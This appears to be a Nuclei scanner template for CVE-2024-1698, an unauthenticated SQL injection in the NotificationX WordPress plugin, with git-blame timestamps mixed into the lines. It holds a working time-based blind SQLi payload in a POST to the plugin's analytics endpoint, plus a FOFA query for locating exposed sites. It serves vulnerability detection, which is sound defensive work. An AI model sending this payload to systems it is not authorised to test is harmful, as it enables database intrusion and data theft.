2024-03-13 06:50:38 +00:00
id : CVE-2024-1698
info :
2024-03-14 18:02:35 +00:00
name : NotificationX <= 2.8.2 - SQL Injection
2024-03-13 06:50:38 +00:00
author : DhiyaneshDk
severity : critical
description : |
2024-03-14 18:02:35 +00:00
The NotificationX - Best FOMO, Social Proof, WooCommerce Sales Popup & Notification Bar Plugin With Elementor plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
2024-03-13 06:50:38 +00:00
reference :
- https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php
- https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e110ea99-e2fa-4558-bcf3-942a35af0b91?source=cve
- https://github.com/fkie-cad/nvd-json-data-feeds
2024-03-14 18:02:35 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2024-1698
2024-03-13 06:50:38 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2024-1698
epss-score : 0.00045
epss-percentile : 0.12615
metadata :
2024-03-14 18:02:35 +00:00
verified : true
2024-03-13 06:50:38 +00:00
max-request : 1
fofa-query : body="/wp-content/plugins/notificationx"
tags : cve,cve2024,wpscan,wordpress,wp-plugin,notificationx,sqli
http :
- raw :
- |
@timeout 10s
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
2024-03-14 18:02:35 +00:00
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -" }
2024-03-13 06:50:38 +00:00
matchers :
- type : dsl
dsl :
- 'duration>=5'
- 'status_code == 200'
2024-03-14 18:02:35 +00:00
- 'contains(body, "{\"success\":true}")'
2024-03-13 06:50:38 +00:00
- 'contains(header, "application/json")'
condition : and
2024-03-14 18:08:36 +00:00
# digest: 4b0a00483046022100c540c6618eec71e1ca2bfe0390511862cb1406910ae47308d1ac8e5ed4ac970d022100a17afc37ddb9e3def3f0dded90b0c6c2568bf12a2dc434ac2df90c467935de4f:922c64590222798bb761d5b6d8e72950